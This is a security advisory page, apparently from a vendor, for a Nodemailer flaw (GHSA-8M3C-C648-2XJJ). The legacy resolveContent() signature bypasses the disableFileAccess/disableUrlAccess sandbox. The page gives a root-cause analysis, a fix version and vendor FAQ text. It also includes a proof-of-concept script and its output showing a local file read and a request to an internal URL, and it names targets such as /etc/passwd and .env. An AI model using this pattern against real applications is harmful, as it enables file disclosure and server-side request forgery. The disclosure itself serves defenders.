Summary
Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature
Nodemailer's disableFileAccess / disableUrlAccess options are a security sandbox that lets an application forbid untrusted message content (html/text/attachment path/href) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit 5f69497) threaded these flags through the library's internal resolution paths (MailMessage.resolveAll() and _convertDataImages()), but the public plugin API MailMessage.resolveContent(...args) (lib/mailer/mail-message.js:41-43) remains a raw passthrough to shared.resolveContent().
When called with the documented legacy signature mail.resolveContent(data, key, callback), shared.resolveContent normalizes the missing options argument to an empty object (options = options || {}, lib/shared/index.js:530). The message-level flags that the MailMessage constructor already copied into mail.data (lib/mailer/mail-message.js:34-38) are silently discarded, so resolveContentValue skips both access-control guards and reaches nmfetch(url) (SSRF, lib/shared/index.js:588) or fs.createReadStream(path) (arbitrary file read, lib/shared/index.js:597).
A plugin or application code that resolves message content through the documented API (the same API the library's own _convertDataImages uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.
Details
Root cause. The MailMessage constructor stores the transporter-level sandbox flags on the message object (lib/mailer/mail-message.js:34-38):
['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {
if (key in options) {
this.data[key] = options[key];
}
});
The public resolver is a pure passthrough (lib/mailer/mail-message.js:41-43):
resolveContent(...args) {
return shared.resolveContent(...args);
}
shared.resolveContent supports the legacy 3-argument signature and collapses the missing options to {} (lib/shared/index.js:524-530):
module.exports.resolveContent = (data, key, options, callback) => {
// options is optional; support the legacy resolveContent(data, key, callback) signature
if (!callback && typeof options === 'function') {
callback = options;
options = false;
}
options = options || {};
...
resolveContentValue(data, key, options, callback);
resolveContentValue then checks options.disableUrlAccess / options.disableFileAccess (lib/shared/index.js:581 / :590), both undefined for the legacy signature, so it falls through to nmfetch (:588) or fs.createReadStream (:597).
Contrast with the fixed paths. resolveAll() (lib/mailer/mail-message.js:112-115) and _convertDataImages() (lib/mailer/index.js:437-440) both pass the message flags explicitly. The MIME streaming path (lib/mime-node/index.js:1059-1077) also honors the flags. So an application that enables the sandbox and then calls transporter.sendMail() is protected; the bypass appears only when message content is resolved through the public legacy-signature API, which is the documented plugin usage (the resolveContent JSDoc at lib/shared/index.js:510-523 states it is "useful when you want to create a plugin that needs a content value").
Affected versions. Confirmed on 9.1.0 (HEAD efd6e29c10c6e0c25c57bd2f2a71302838235a4f, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (test/mailer/mail-message-test.js contains no resolveContent test).
PoC
Requires: [email protected], a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.
'use strict';
const nodemailer = require('nodemailer');
const MailMessage = require('nodemailer/lib/mailer/mail-message');
const TARGET_FILE = '/app/src/package.json'; // any readable local file
const SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target
const transporter = nodemailer.createTransport({
streamTransport: true,
disableFileAccess: true, // sandbox explicitly enabled
disableUrlAccess: true
});
const data = {
from: '[email protected]', to: '[email protected]', subject: 'poc', text: 'hello',
html: { path: TARGET_FILE },
attachments: [{ filename: 'x.bin', href: SSRF_URL }]
};
const mail = new MailMessage(transporter, data);
// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true
// Documented legacy plugin signature, options argument omitted:
mail.resolveContent(mail.data, 'html', (err, value) => {
if (err) return console.log('BLOCKED', err.code);
console.log('FILE_READ_OK len=', value.length); // -> 1647 (package.json)
});
mail.resolveContent(mail.data.attachments, 0, (err, body) => {
if (err) return console.log('BLOCKED', err.code);
console.log('URL_FETCH_OK body=', body.toString()); // -> fetched response
});
Observed output on the audit environment (Node 22, [email protected]):
mail.data.disableFileAccess = true | disableUrlAccess = true
[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json
[CONTROL html.path explicit-options] err = EFILEACCESS
[BYPASS html.path legacy] READ OK len = 1647 head = "{\n \"name\": \"nodemailer\",\n \"version\": \"9.1.0\",\n \"des"
[BYPASS att[0].href legacy] FETCH OK len = 13 body = "HTTP-SINK OK\n"
The negative controls (resolveAll, and resolveContent with explicit { disableFileAccess: true }) return EFILEACCESS, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real transporter.sendMail() flow when a compile plugin calls mail.resolveContent(mail.data, 'html', cb) / mail.resolveContent(mail.data.attachments, 0, cb).
Impact
An application that enables disableFileAccess / disableUrlAccess to contain untrusted message content and that resolves content through the documented plugin API (mail.resolveContent(data, key, callback)) has its sandbox silently bypassed:
- Arbitrary local file disclosure: a message
html/attachmentpathpointing at a server file (/etc/passwd,.env, key material) is read and returned to the caller / delivered in the message. - Server-side request forgery: a message
hrefpointing at an internal or loopback URL is fetched from the application host.
Reachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default transporter.sendMail() path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
GHSA-8M3C-C648-2XJJ has a CVSS score of 5.9 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (9.1.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-8M3C-C648-2XJJ? GHSA-8M3C-C648-2XJJ is a medium-severity server-side request forgery (SSRF) vulnerability in nodemailer (npm), affecting versions <= 9.1.0. It is fixed in 9.1.1. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is GHSA-8M3C-C648-2XJJ? GHSA-8M3C-C648-2XJJ has a CVSS score of 5.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of nodemailer are affected by GHSA-8M3C-C648-2XJJ? nodemailer (npm) versions <= 9.1.0 is affected.
- Is there a fix for GHSA-8M3C-C648-2XJJ? Yes. GHSA-8M3C-C648-2XJJ is fixed in 9.1.1. Upgrade to this version or later.
- Is GHSA-8M3C-C648-2XJJ exploitable, and should I be worried? Whether GHSA-8M3C-C648-2XJJ is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-8M3C-C648-2XJJ is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-8M3C-C648-2XJJ? Upgrade
nodemailerto 9.1.1 or later.